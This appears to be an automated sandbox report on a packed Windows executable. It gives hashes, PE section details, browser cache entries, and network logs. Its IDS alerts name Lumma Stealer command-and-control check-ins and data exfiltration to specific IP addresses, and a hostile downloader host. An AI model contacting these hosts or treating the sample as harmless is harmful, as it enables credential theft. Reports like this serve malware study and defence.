SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947540043409744
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'905'152 bytes
MD5:	0c49d97124388f05574ea1d5fae91a69
SHA1:	4b9e218c5ad14604dd79149e36bfb8ffd9f34487
SHA256:	2d2a286b331294d85dfc607042762753170f8fe0f3867bbac3ed5c2de5364723
SHA512:	4ca0d9a9d95feba27ef63678a3b00d5b5c29eacd961a3000b46f8efec90db32c74e078b4bc03405e153642a90d2dfe0f5e9929458a1baf8b2014d831d95ccbe8
SSDEEP:	49152:9dOM1QYJkS9DLDeD+lrjuQiUn8BBCTco2O6p:9rzJLyDbQ5eBCKFp
TLSH:	149533D46AC50C21C64507B5BCDF6E3A37F5A9A918CEA6871A0F0CA453737723C92E72
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................K...........@...........................K.....>+....@.................................\...p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F3C51 [Thu Nov 21 13:57:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1520C047EAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26200	cc1311e9c673c816ff242a08589228f4	False	0.9993148053278689	data	7.977673528702958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	a15739ffb4d299a80d14e6e00d5e63dc	False	0.798828125	data	6.053935133919589	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x2b7000	0x200	c252c42eae44bf6ce2d7d0f3d35de3d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zvmykcec	0x310000	0x1a8000	0x1a7400	aa09c6d5795157c90f371488769e33b8	False	0.9943194403425871	data	7.954324471669253	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
moejyldo	0x4b8000	0x1000	0x400	2ca04c6746877041dab8d1b6a64164d2	False	0.7568359375	data	5.9428651403451305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b9000	0x3000	0x2200	3878103e6d1610d751a2dd4612f769f5	False	0.04928768382352941	DOS executable (COM)	0.5371935854417275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b6fb8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T08:43:43.268332+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49716	172.67.162.84	443	TCP
2024-11-24T08:43:43.974989+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49716	172.67.162.84	443	TCP
2024-11-24T08:43:43.974989+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49716	172.67.162.84	443	TCP
2024-11-24T08:43:45.300749+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49722	172.67.162.84	443	TCP
2024-11-24T08:43:45.977461+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49722	172.67.162.84	443	TCP
2024-11-24T08:43:45.977461+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49722	172.67.162.84	443	TCP
2024-11-24T08:43:47.941194+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49730	172.67.162.84	443	TCP
2024-11-24T08:43:51.045380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49741	172.67.162.84	443	TCP
2024-11-24T08:43:53.505256+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49748	172.67.162.84	443	TCP
2024-11-24T08:43:56.040022+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49755	172.67.162.84	443	TCP
2024-11-24T08:43:56.757327+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	49755	172.67.162.84	443	TCP
2024-11-24T08:43:58.788481+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49763	172.67.162.84	443	TCP
2024-11-24T08:44:03.981469+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49775	172.67.162.84	443	TCP
2024-11-24T08:44:04.686231+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49775	172.67.162.84	443	TCP
2024-11-24T08:44:06.211442+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	49781	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 08:43:31.247543097 CET	49674	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:43:31.250631094 CET	49675	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:43:33.810206890 CET	49677	443	192.168.2.10	20.42.65.85
Nov 24, 2024 08:43:34.122334003 CET	49677	443	192.168.2.10	20.42.65.85
Nov 24, 2024 08:43:34.731728077 CET	49677	443	192.168.2.10	20.42.65.85
Nov 24, 2024 08:43:34.887933016 CET	49671	443	192.168.2.10	204.79.197.203
Nov 24, 2024 08:43:35.934786081 CET	49677	443	192.168.2.10	20.42.65.85
Nov 24, 2024 08:43:37.561589003 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:37.561639071 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:37.561709881 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:37.561975956 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:37.561990976 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:38.337945938 CET	49677	443	192.168.2.10	20.42.65.85
Nov 24, 2024 08:43:39.360183954 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.367342949 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.367707014 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:39.371216059 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:39.371227980 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.371614933 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.394514084 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:39.439332962 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.842593908 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.842621088 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.842639923 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.851329088 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.852895021 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:39.852916956 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:39.853394032 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:40.026120901 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.026148081 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.037831068 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:40.037853956 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.038197994 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:40.068759918 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.068775892 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.069061041 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:40.069072962 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.069375038 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:40.209983110 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.210002899 CET	443	49707	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:40.211138010 CET	49707	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:40.211256027 CET	49707	443	192.168.2.10	13.107.246.63
